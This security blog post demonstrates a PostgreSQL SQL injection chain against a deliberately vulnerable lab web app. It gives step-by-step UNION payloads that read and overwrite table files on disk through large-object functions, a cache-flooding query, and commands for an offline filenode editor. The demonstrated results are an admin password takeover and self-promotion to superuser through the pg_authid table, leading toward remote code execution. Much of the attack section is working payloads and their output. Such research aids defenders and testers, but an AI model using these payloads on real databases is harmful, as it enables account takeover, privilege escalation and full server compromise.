Post

PostgreSQL SQL injection: Updating data without UPDATE

Does anybody even need this? :D

Expanding on the topic

So, in my first article, we explored the possibility of abusing excessive server-side file read and write permissions to perform an RCE on the machine running the affected PostgreSQL server.

Our exploit relied on an essential condition — the PostgreSQL configuration must be reloaded to trigger the code execution. This could happen either by waiting for the server to reboot or manually invoking the pg_reload_conf() function, which is accessible to admin users.

But what if we lacked those permissions, and the server wouldn’t restart in a while? Is there anything else we could do to speed up the process?

There is!

Official PostgreSQL documentation deliberately informs us that server-side file read and write permissions may be abused to perform a privilege escalation within the DBMS.

How? By overwriting DB data, of course!

We can modify some internal Postgres tables to become a super admin and obtain all necessary prerequisite permissions for reloading the config.

How data is stored in PostgreSQL

PostgreSQL has extremely complex data flows to optimize resource usage and eliminate possible data access conflicts (e.g., race conditions). You can read about them in great detail in the official documentation here and here.

Table ↔ Filenode

The physical data layout significantly differs from widely known “table” and “row” objects. On disk, all data is stored in a filenode object named with the oid of the respective pg_class object. In other words, each table has its filenode. You can lookup oid, and the respective filenode name of a given table through the following query:

1
SELECT oid FROM pg_class WHERE relname='TABLE_NAME'

All filenodes are stored in the PostgreSQL data directory. You can obtain it through the following query:

1
SELECT setting FROM pg_settings WHERE name = 'data_directory';

To obtain a relative path to the filenodes within the data directory, you can use the following function:

1
SELECT pg_relation_filepath('TABLE_NAME');

Note: pg_relation_filepath may return 0 for global or shared filenodes. Their paths and oids are stored in filenode maps.

Let’s focus on local filenodes first.

Filenode format

The filenode itself is paginated by chunks of 0x2000 (8192) bytes called Pages (who would’ve guessed).

The pages hold the actual row data within nested Item objects. However, this data is stored in raw format. Parsing and reinterpreting the data requires knowing the associated datatype, stored in a separate pg_attribute table. You can obtain that datatype through the following query:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
SELECT
    STRING_AGG(
        CONCAT_WS(
            ',',
            attname,
            typname,
            attlen,
            attalign
        ),
        ';'
    )
FROM pg_attribute
    JOIN pg_type
        ON pg_attribute.atttypid = pg_type.oid
    JOIN pg_class
        ON pg_attribute.attrelid = pg_class.oid
WHERE pg_class.relname = 'TABLE_NAME';

Cold and hot data storages

All of the above objects make up the DBMS’s cold storage. In order to access data in cold storage through a query, Postgres must first load it in the RAM cache, a.k.a. hot storage.

The following diagram shows a rough and simplified flow of how Postgres accesses the data.

graph LR
    A["In-Memory Table Cache"] --> B["Filenode"]
    B --> C1["Page 1"]
    B --> C2["Page 2"]
    B --> C...["Page ..."]
    B --> Cn["Page n"]
    C1 --> D1["Item 1"]
    C1 --> D2["Item 2"]
    C1 --> D...["Item ..."]
    C1 --> Dn["Item n"]

DBMS periodically flushes any changes to the data in hot storage onto the FS.

These syncs may pose a challenge to us! Since we can only edit the cold storage of a running database, we risk that a subsequent hot storage sync may overwrite our edits. Thus, we must ensure that the table we are to overwrite has been offloaded from the cache. The default cache size is 128MB, so we can stress the DB with expensive queries to other tables, large objects, or just simply restart it before the flush.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# -----------------------------
# PostgreSQL configuration file
# -----------------------------
...

#------------------------------------------------------------------------------
# RESOURCE USAGE (except WAL)
#------------------------------------------------------------------------------

# - Memory -

shared_buffers = 128MB          # min 128kB
                                # (change requires restart)
...

PostgreSQL Filenode Editor

I’ve created a tool to parse and modify data stored in the supplied filenode. The tool can function independently of the Postgres server that created the filenode. We can use it to overwrite target table rows with desired values. The editor supports both datatype-assisted and raw parsing modes. The former mode is a preferred option as it allows you to edit the data safely without incidentally messing up the whole binary filenode structure.

Here’s a little demo for you:

demo_datatype.gif

Actual parsing implementation is way too lengthy to discuss in this article and has, in fact, been a huge pain in my ass to code for the last month or so. You can find the sources on Github if you want to dig deeper into it.

You can also check out this article on parsing filenodes in Golang.

The filenode editor does not fully support all possible data types supported by the PostgreSQL servers, as it is only able to parse regular (non-TOAST) tables at this point 🙂

Vulnerable app

We will reuse the vulnerable Golang app from the previous article with several changes. The code is available in a separate branch by the following link.

The Golang app has exposes 3 HTTP routes, /login , /signup , and /user?id=ID with the same SQLi case as in the previous article present at the latter endpoint.

The DB connection is now being made under poc_update_user , which has full privileges over the users table, access to large objects, and is able to call the required lo_* functions for the exploit.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
CREATE USER poc_update_user WITH PASSWORD 'testpassword';
GRANT pg_read_server_files TO poc_update_user; 
GRANT pg_write_server_files TO poc_update_user;

GRANT USAGE ON SCHEMA public TO poc_update_user;
GRANT SELECT, INSERT, UPDATE, DELETE ON TABLE pg_largeobject TO poc_update_user;

CREATE TABLE IF NOT EXISTS users (
                id       SERIAL PRIMARY KEY,
                email    VARCHAR(64) NOT NULL,
                fullname VARCHAR(32) NOT NULL,
                password VARCHAR(32) NOT NULL,
                city     VARCHAR(16),
                age      INT
        );

GRANT ALL ON TABLE users TO poc_update_user;
GRANT ALL ON TABLE users_id_seq TO poc_update_user;

As a poc_update_user , we are able to query, update and delete users table entries but can’t access any sensitive functionality otherwise.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# as poc_update_user;
postgres=> SELECT * FROM users;
 id |           email           |   fullname    |             password             |     city      | age 
----+---------------------------+---------------+----------------------------------+---------------+-----
  1 | [email protected]      | John Doe      | b8a76c56d41e570a6e73f55c232572e9 | New York      |  28
  2 | [email protected]   | Alice Smith   | 3a6da9ad70dfe6bd6129a0858aaa1fd0 | San Francisco |  35
  3 | [email protected]     | Bob Jones     | 1543a45232df76aaec95af184e246c69 | Los Angeles   |  22
  4 | [email protected] | Sara Williams | 1543a45232df76aaec95af184e246c69 |               |  29
  5 | [email protected] | Michael Brown | d0b8dfe012c6aad2be13e3430439f581 | Chicago       |  31
  6 | [email protected]    | Emily Wang    | b85b5926d887f5dfa4782549a3e97793 |               |  26
  7 | [email protected]  | David Nguyen  | 6060bcea977c78994a6587382fce4c4b | Houston       |  33
  8 | [email protected] | Olivia Garcia | f57b4b400b8ed7956556c24339c2d48f | Miami         |  29
  9 | [email protected]   | Ryan Miller   | 9ed1707a05359d46a03a8ebe129c2964 | Seattle       |  38
 10 | [email protected]    | Emma Davis    | ce28650b9ba722fbd4da8c0a4c2b8cb9 | Denver        |  27
 11 | [email protected]         | Admin User    | a9946a9d51be374db363c9492850c0a8 |               |

postgres=> SELECT * FROM pg_authid;
ERROR:  permission denied for table pg_authid
postgres=> SELECT pg_reload_conf();
ERROR:  permission denied for function pg_reload_conf

Required attack steps

We must perform the following steps to update a custom table on the PostgreSQL server:

  1. Get PostgreSQL data directory
  2. Get the relative location of the filenode, associated with the target table
  3. Get the filenode datatype
  4. Download the filenode via large object functions
  5. Edit the filenode offline
  6. Upload the new filenode back to the server via large object functions
  7. Overwrite the target filenode on disk with the new data
  8. Offload the target table from the DBMS in-memory cache

Updating custom table (users)

Let’s see the attack on a custom users table from our vulnerable web app in practice. To take over the account, we will modify the administrator’s password hash with a known one.

  1. Getting data directory location

    Payload

    1
    
     -1 UNION SELECT 1,setting,'a','b',2 FROM pg_settings WHERE name = 'data_directory'
    

    Request

    Request 1

    The server returned an empty response, indicating a likely error in the query. It turns out that non-admin users cannot query the settings table without additional permissions.

    This should be fine though, as all data directories follow the same pattern of /var/lib/postgresql/MAJOR_VERSION/CLUSTER_NAME/ . We can query the major version through the version() function. The default cluster name is main . This information should be enough to get our data directory.

    Payload

    1
    
     -1 UNION SELECT 1,version(),'a','b',2
    

    Request

    Request 2

  2. Getting relative filenode location

    Payload

    1
    
     -1 UNION SELECT 1,pg_relation_filepath('users'),'a','b',2
    

    Request

    Request 3

  3. Getting filenode datatype

    Payload

    1
    
     -1 UNION ALL SELECT 1,STRING_AGG(CONCAT_WS(',',attname,typname,attlen,attalign),';'),'ab','bc',2 FROM pg_attribute JOIN pg_type ON pg_attribute.atttypid = pg_type.oid JOIN pg_class ON pg_attribute.attrelid = pg_class.oid WHERE pg_class.relname = 'users'
    

    Request

    Request 4

  4. Downloading filenode
    1. Import filenode into large object

      Payload

      Use the same technique from the first article to read the file from the FS by its absolute path.

      1
      
       -1 UNION SELECT 1,'a','b','c',lo_import('/var/lib/postgresql/13/main/base/13485/49182',13337)
      

      Request

      Request 5

    2. Read the large object by its oid

      Payload

      1
      
       -1 UNION SELECT 1,'a','b',translate(encode(lo_get(13337), 'base64'), E'\n', ''),2
      

      Request

      Request 6

  5. Edit the users table with PostgreSQL Filenode Editor

    Use list mode to check that the filenode is parsed correctly

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    
     $ python3 postgresql_filenode_editor.py -m list -f ./tests/sample_filenodes/49182 --datatype-csv "tableoid,oid,4,i;cmax,cid,4,i;xmax,xid,4,i;cmin,cid,4,i;xmin,xid,4,i;ctid,tid,6,s;id,int4,4,i;email,varchar,-1,i;fullname,varchar,-1,i;password,varchar,-1,i;city,varchar,-1,i;age,int4,4,i"
        
     [+] Page 0:
     +---------+----+------------------------------+------------------+-------------------------------------+------------------+------+
     | item_no | id |            email             |     fullname     |               password              |       city       | age  |
     +---------+----+------------------------------+------------------+-------------------------------------+------------------+------+
     |    0    | 1  |   b'[email protected]'    |   b'John Doe'    | b'b8a76c56d41e570a6e73f55c232572e9' |   b'New York'    |  28  |
     |    1    | 2  |  b'[email protected]'  |  b'Alice Smith'  | b'3a6da9ad70dfe6bd6129a0858aaa1fd0' | b'San Francisco' |  35  |
     |    2    | 3  |   b'[email protected]'   |   b'Bob Jones'   | b'1543a45232df76aaec95af184e246c69' |  b'Los Angeles'  |  22  |
     |    3    | 4  | b'[email protected]' | b'Sara Williams' | b'1543a45232df76aaec95af184e246c69' |       NULL       |  29  |
     |    4    | 5  | b'[email protected]' | b'Michael Brown' | b'd0b8dfe012c6aad2be13e3430439f581' |    b'Chicago'    |  31  |
     |    5    | 6  |  b'[email protected]'   |  b'Emily Wang'   | b'b85b5926d887f5dfa4782549a3e97793' |       NULL       |  26  |
     |    6    | 7  | b'[email protected]'  | b'David Nguyen'  | b'6060bcea977c78994a6587382fce4c4b' |    b'Houston'    |  33  |
     |    7    | 8  | b'[email protected]' | b'Olivia Garcia' | b'f57b4b400b8ed7956556c24339c2d48f' |     b'Miami'     |  29  |
     |    8    | 9  |  b'[email protected]'  |  b'Ryan Miller'  | b'9ed1707a05359d46a03a8ebe129c2964' |    b'Seattle'    |  38  |
     |    9    | 10 |  b'[email protected]'   |  b'Emma Davis'   | b'ce28650b9ba722fbd4da8c0a4c2b8cb9' |    b'Denver'     |  27  |
     |    10   | 11 |     b'[email protected]'     |  b'Admin User'   | b'a9946a9d51be374db363c9492850c0a8' |       NULL       | NULL |
     +---------+----+------------------------------+------------------+-------------------------------------+------------------+------+
    

    Edit desired row, set password hash to MD5('12345678') value:

    1
    
     $ python3 postgresql_filenode_editor.py -m update -p 0 -i 10 --csv-data '11,[email protected],Admin User,25d55ad283aa400af464c76d713c07ad,NULL,NULL' -f ./tests/sample_filenodes/49182 --datatype-csv "tableoid,oid,4,i;cmax,cid,4,i;xmax,xid,4,i;cmin,cid,4,i;xmin,xid,4,i;ctid,tid,6,s;id,int4,4,i;email,varchar,-1,i;fullname,varchar,-1,i;password,varchar,-1,i;city,varchar,-1,i;age,int4,4,i"
    
  6. Reupload the edited filenode

    Payload

    1
    2
    
     -1 UNION SELECT 1,'a','b','c',lo_from_bytea(13338,decode('AAAA...BASE64_ENCODED_FILENODE...xwAAAA=','base64'))<@/urlencode_not_plus> HTTP/1.1
        
    

    Request

    Request 7

  7. Overwrite the filenode on disk

    Payload

    1
    
     -1 UNION SELECT 1,'a','b','c',lo_export(13338,'/var/lib/postgresql/13/main/base/13485/49182')
    

    Request

    Request 8

    At this moment, the password is still old in the DB, since the table is loaded into the cache

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    
     postgres=> SELECT * FROM users;
     id |           email           |   fullname    |             password             |     city      | age 
     ----+---------------------------+---------------+----------------------------------+---------------+-----
     1 | [email protected]      | John Doe      | b8a76c56d41e570a6e73f55c232572e9 | New York      |  28
     2 | [email protected]   | Alice Smith   | 3a6da9ad70dfe6bd6129a0858aaa1fd0 | San Francisco |  35
     3 | [email protected]     | Bob Jones     | 1543a45232df76aaec95af184e246c69 | Los Angeles   |  22
     4 | [email protected] | Sara Williams | 1543a45232df76aaec95af184e246c69 |               |  29
     5 | [email protected] | Michael Brown | d0b8dfe012c6aad2be13e3430439f581 | Chicago       |  31
     6 | [email protected]    | Emily Wang    | b85b5926d887f5dfa4782549a3e97793 |               |  26
     7 | [email protected]  | David Nguyen  | 6060bcea977c78994a6587382fce4c4b | Houston       |  33
     8 | [email protected] | Olivia Garcia | f57b4b400b8ed7956556c24339c2d48f | Miami         |  29
     9 | [email protected]   | Ryan Miller   | 9ed1707a05359d46a03a8ebe129c2964 | Seattle       |  38
     10 | [email protected]    | Emma Davis    | ce28650b9ba722fbd4da8c0a4c2b8cb9 | Denver        |  27
     11 | [email protected]         | Admin User    | a9946a9d51be374db363c9492850c0a8 |               |    
     (11 rows)
    
  8. Flush the cache somehow?

    One of the ways is to make a heavy query on the server. E.g., one creating a large object of a size matching the entire cache pool to flush the target table from the cache :DDDDD

    Payload

    1
    
     -1 UNION SELECT 1,'a','b','c',lo_from_bytea(133337, (SELECT REPEAT('a', 128*1024*1024))::bytea)
    

    Request

    Request 9

    The server took several whole seconds to respond. This query should have overflown the memory cache and the users table should’ve been offloaded. We can confirm this by re-running the query and observing the updated admin password hash:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    
     postgres=> SELECT * FROM users;
      id |           email           |   fullname    |             password             |     city      | age 
     ----+---------------------------+---------------+----------------------------------+---------------+-----
       1 | [email protected]      | John Doe      | b8a76c56d41e570a6e73f55c232572e9 | New York      |  28
       2 | [email protected]   | Alice Smith   | 3a6da9ad70dfe6bd6129a0858aaa1fd0 | San Francisco |  35
       3 | [email protected]     | Bob Jones     | 1543a45232df76aaec95af184e246c69 | Los Angeles   |  22
       4 | [email protected] | Sara Williams | 1543a45232df76aaec95af184e246c69 |               |  29
       5 | [email protected] | Michael Brown | d0b8dfe012c6aad2be13e3430439f581 | Chicago       |  31
       6 | [email protected]    | Emily Wang    | b85b5926d887f5dfa4782549a3e97793 |               |  26
       7 | [email protected]  | David Nguyen  | 6060bcea977c78994a6587382fce4c4b | Houston       |  33
       8 | [email protected] | Olivia Garcia | f57b4b400b8ed7956556c24339c2d48f | Miami         |  29
       9 | [email protected]   | Ryan Miller   | 9ed1707a05359d46a03a8ebe129c2964 | Seattle       |  38
      10 | [email protected]    | Emma Davis    | ce28650b9ba722fbd4da8c0a4c2b8cb9 | Denver        |  27
      11 | [email protected]         | Admin User    | 25d55ad283aa400af464c76d713c07ad |               |    
     (11 rows)
    

    We can now log in to the admin account with our password!

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    
     POST /login HTTP/1.1
     Host: localhost:8000
     User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0
     Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
     Accept-Language: uk-UA,uk;q=0.8,en-US;q=0.5,en;q=0.3
     Accept-Encoding: gzip, deflate, br
     Connection: close
     Upgrade-Insecure-Requests: 1
     Sec-Fetch-Dest: document
     Sec-Fetch-Mode: navigate
     Sec-Fetch-Site: none
     Sec-Fetch-User: ?1
     Content-Length: 51
    
     {"email":"[email protected]","password":"12345678"}
    
     HTTP/1.1 200 OK
     Content-Type: application/json; charset=utf-8
     Date: Sat, 03 Feb 2024 23:23:33 GMT
     Content-Length: 25
     Connection: close
    
     {"FullName":"Admin User"}
    

Privesc: Updating pg_authid table

Now, shall we attempt to modify the internal Postgres pg_authid table where all roles and permissions are stored to become a superadmin?

pg_authid is a table shared between all databases. It will be stored in a global directory:

1
2
3
4
5
postgres=# SELECT pg_relation_filepath('pg_authid');
 pg_relation_filepath 
----------------------
 global/1260
(1 row)

Its oid is set by default to 1260 in code, but it might change during vacuum routines. In that case, its new oid will be stored in a neighbor global/pg_filenode.map file.

Apart from that, all attack steps are essentially identical:

  1. Getting the Data directory

    Same as in the previous attack

  2. Getting the relative filenode location

    Same as in the previous attack

  3. Getting the filenode datatype

    While we can’t access the pg_authid table directly, we can still query its datatype.

    Payload

    1
    
     -1 UNION ALL SELECT 1,STRING_AGG(CONCAT_WS(',',attname,typname,attlen,attalign),';'),'ab','bc',2 FROM pg_attribute JOIN pg_type ON pg_attribute.atttypid = pg_type.oid JOIN pg_class ON pg_attribute.attrelid = pg_class.oid WHERE pg_class.relname = 'pg_authid'
    

    Request

    Request 10

  4. Downloading the filenode
    1. Loading the target filenode into large object

      Payload

      1
      
       -1 UNION SELECT 1,'a','b','c',lo_import('/var/lib/postgresql/13/main/global/1260',13340)
      

      Request

      Request 11

    2. Reading the filenode from the file object

      Payload

      1
      
       -1 UNION SELECT 1,'a','b',translate(encode(lo_get(13340), 'base64'), E'\n', ''),2
      

      Request

      Request 12

  5. Editing the table offline with PostgreSQL Filenode Editor

    The output may be a bit ugly, but that’s just how user names are stored in Postgres, in a fixed 64-byte long char array.

    We can see our user poc_update_user at the very end with oid 49153. We would need to flip all rol* settings to 1 in order to mimic the permissions of a true superuser.

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    
     [+] Page 0:
     +---------+-------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------+------------+---------------+-------------+-------------+----------------+--------------+--------------+----------------------------------------+---------------+
     | item_no |  oid  |                                                                                                                         rolname                                                                                                                         | rolsuper | rolinherit | rolcreaterole | rolcreatedb | rolcanlogin | rolreplication | rolbypassrls | rolconnlimit |              rolpassword               | rolvaliduntil |
     +---------+-------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------+------------+---------------+-------------+-------------+----------------+--------------+--------------+----------------------------------------+---------------+
     |    0    |   10  |       b'postgres\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'       |    1     |     1      |       1       |      1      |      1      |       1        |      1       |      -1      |                  NULL                  |      NULL     |
     |    1    |  3373 |          b'pg_monitor\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'          |    0     |     1      |       0       |      0      |      0      |       0        |      0       |      -1      |                  NULL                  |      NULL     |
     |    2    |  3374 |                         b'pg_read_all_settings\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'                         |    0     |     1      |       0       |      0      |      0      |       0        |      0       |      -1      |                  NULL                  |      NULL     |
     |    3    |  3375 |                     b'pg_read_all_stats\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'                    |    0     |     1      |       0       |      0      |      0      |       0        |      0       |      -1      |                  NULL                  |      NULL     |
     |    4    |  3377 |                        b'pg_stat_scan_tables\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'                       |    0     |     1      |       0       |      0      |      0      |       0        |      0       |      -1      |                  NULL                  |      NULL     |
     |    5    |  4569 |                         b'pg_read_server_files\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'                         |    0     |     1      |       0       |      0      |      0      |       0        |      0       |      -1      |                  NULL                  |      NULL     |
     |    6    |  4570 |                           b'pg_write_server_files\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'                          |    0     |     1      |       0       |      0      |      0      |       0        |      0       |      -1      |                  NULL                  |      NULL     |
     |    7    |  4571 |                                 b'pg_execute_server_program\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'                                |    0     |     1      |       0       |      0      |      0      |       0        |      0       |      -1      |                  NULL                  |      NULL     |
     |    8    |  4200 |                     b'pg_signal_backend\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'                    |    0     |     1      |       0       |      0      |      0      |       0        |      0       |      -1      |                  NULL                  |      NULL     |
     |    9    | 16384 | b'test\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' |    1     |     1      |       1       |      1      |      1      |       1        |      1       |      -1      | b'md505a671c66aefea124cc08b76ea6d30bb' |      NULL     |
     |    10   | 16386 |   b'test1\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'  |    0     |     1      |       0       |      0      |      1      |       0        |      0       |      -1      | b'md542b72f913c3201fc62660d512f5ac746' |      NULL     |
     |    11   | 24577 |   b'test2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'  |    0     |     1      |       0       |      0      |      1      |       0        |      0       |      -1      | b'md548b83a2a920f7284c9f0e1bf03012b68' |      NULL     |
     |    12   |   10  |       b'postgres\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'       |    1     |     1      |       1       |      1      |      1      |       1        |      1       |      -1      |                  NULL                  |      NULL     |
     |    13   | 49153 |                  b'poc_update_user\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'                 |    0     |     1      |       0       |      0      |      1      |       0        |      0       |      -1      | b'md5d30050478412f6f4d7fd340d0e46d403' |      NULL     |
     +---------+-------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------+------------+---------------+-------------+-------------+----------------+--------------+--------------+----------------------------------------+---------------+
    

    For convenience, any non-printable fields of field lengths can be passed as base64 strings.

    1
    
     python3 postgresql_filenode_editor.py -f ./1260 --datatype-csv "tableoid,oid,4,i;cmax,cid,4,i;xmax,xid,4,i;cmin,cid,4,i;xmin,xid,4,i;ctid,tid,6,s;oid,oid,4,i;rolname,name,64,c;rolsuper,bool,1,c;rolinherit,bool,1,c;rolcreaterole,bool,1,c;rolcreatedb,bool,1,c;rolcanlogin,bool,1,c;rolreplication,bool,1,c;rolbypassrls,bool,1,c;rolconnlimit,int4,4,i;rolpassword,text,-1,i;rolvaliduntil,timestamptz,8,d" -m update -p 0 -i 13 --csv-data "49153,cG9jX3VwZGF0ZV91c2VyAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==,1,1,1,1,1,1,1,-1,md5d30050478412f6f4d7fd340d0e46d403,NULL"
    
  6. Reuploading the edited filenode into the large object

    Payload

    1
    
     -1 UNION SELECT 1,'a','b','c',lo_from_bytea(13341,decode('AAAAAJC...BASE64_ENCODED_FILENODE...P////8=','base64'))
    

    Request

    Request 13

  7. Overwriting the filenode on the FS

    Payload

    1
    
     -1 UNION SELECT 1,'a','b','c',lo_export(13341,'/var/lib/postgresql/13/main/global/1260')
    

    Request

    Request 14

  8. Overflowing the cache ;)

    Payload

    1
    
     -1 UNION SELECT 1,'a','b','c',lo_from_bytea(133337, (SELECT REPEAT('a', 128*1024*1024))::bytea)
    

    Request

    Request 15

  9. Checking the user permissions!

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    
     postgres=# SELECT * FROM pg_authid;
       oid  |          rolname          | rolsuper | rolinherit | rolcreaterole | rolcreatedb | rolcanlogin | rolreplication | rolbypassrls | rolconnlimit |             rolpassword             | rolvaliduntil 
     -------+---------------------------+----------+------------+---------------+-------------+-------------+----------------+--------------+--------------+-------------------------------------+---------------
       3373 | pg_monitor                | f        | t          | f             | f           | f           | f              | f            |           -1 |                                     | 
       3374 | pg_read_all_settings      | f        | t          | f             | f           | f           | f              | f            |           -1 |                                     | 
       3375 | pg_read_all_stats         | f        | t          | f             | f           | f           | f              | f            |           -1 |                                     | 
       3377 | pg_stat_scan_tables       | f        | t          | f             | f           | f           | f              | f            |           -1 |                                     | 
       4569 | pg_read_server_files      | f        | t          | f             | f           | f           | f              | f            |           -1 |                                     | 
       4570 | pg_write_server_files     | f        | t          | f             | f           | f           | f              | f            |           -1 |                                     | 
       4571 | pg_execute_server_program | f        | t          | f             | f           | f           | f              | f            |           -1 |                                     | 
       4200 | pg_signal_backend         | f        | t          | f             | f           | f           | f              | f            |           -1 |                                     | 
      16384 | test                      | t        | t          | t             | t           | t           | t              | t            |           -1 | md505a671c66aefea124cc08b76ea6d30bb | 
      16386 | test1                     | f        | t          | f             | f           | t           | f              | f            |           -1 | md542b72f913c3201fc62660d512f5ac746 | 
      24577 | test2                     | f        | t          | f             | f           | t           | f              | f            |           -1 | md548b83a2a920f7284c9f0e1bf03012b68 | 
         10 | postgres                  | t        | t          | t             | t           | t           | t              | t            |           -1 |                                     | 
      49153 | poc_update_user           | t        | t          | t             | t           | t           | t              | t            |           -1 | md5d30050478412f6f4d7fd340d0e46d403 | 
     (13 rows)
    

    We are now a super admin. And we can reload the config! And we achieved all this without ever restarting the server. We can now proceed to perform the SELECT-only RCE from the first article ;)

    Payload

    1
    
     -1 UNION SELECT 1,'a','b',pg_reload_conf()::text,1
    

    Request

    Request 16

Conclusion

As you can see, server file access permissions are very powerful and, essentially, give you a complete control over the DBMS. The combination of new techniques described here helped me in a real-world engagement and boosted otherwise unexploitable SQLi to a critical finding. I hope my experience is of value to you, too!

This post is licensed under CC BY 4.0 by the author.